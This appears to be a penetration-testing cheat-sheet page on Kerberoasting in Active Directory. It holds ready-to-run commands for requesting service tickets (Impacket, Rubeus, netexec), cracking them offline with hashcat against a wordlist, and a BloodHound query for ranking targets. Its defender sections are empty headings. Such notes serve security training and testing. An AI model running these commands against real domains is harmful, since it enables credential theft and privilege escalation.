JF / 2026
Available

Kerberoasting

Request TGS tickets for accounts with SPNs and crack them offline. No elevated privileges required — just a valid domain user.

What it is

Any authenticated domain user can request a service ticket (TGS) for any account that has a Service Principal Name set. The ticket is encrypted with the target account’s password hash. Request the ticket, take it offline, crack it.

No elevated rights needed. This is why it is one of the most common privilege escalation paths in AD environments.

Enumeration

Find kerberoastable accounts with Impacket:

impacket-GetUserSPNs DOMAIN/user:password -dc-ip 10.10.10.100 -request

The -request flag actually requests the tickets. Without it, you only see which accounts have SPNs.

With Rubeus from a Windows foothold:

.\Rubeus.exe kerberoast /outfile:hashes.txt

With netexec (modern replacement for CrackMapExec):

netexec ldap 10.10.10.100 -u user -p password --kerberoasting hashes.txt

Cracking

Hashcat mode 13100 for Kerberos 5 TGS-REP etype 23 (RC4):

hashcat -m 13100 hashes.txt /usr/share/wordlists/rockyou.txt

For AES-encrypted tickets (etype 17/18), use mode 19600 or 19700. AES tickets are slower to crack and often not worth the effort if RC4 is available.

Identifying high-value targets

Not every kerberoastable account is worth cracking. Prioritize:

BloodHound query:

MATCH (u:User {hasspn:true})
RETURN u.name, u.admincount, u.serviceprincipalnames
ORDER BY u.admincount DESC

OpSec

Detection (for defenders)

Mitigation

Back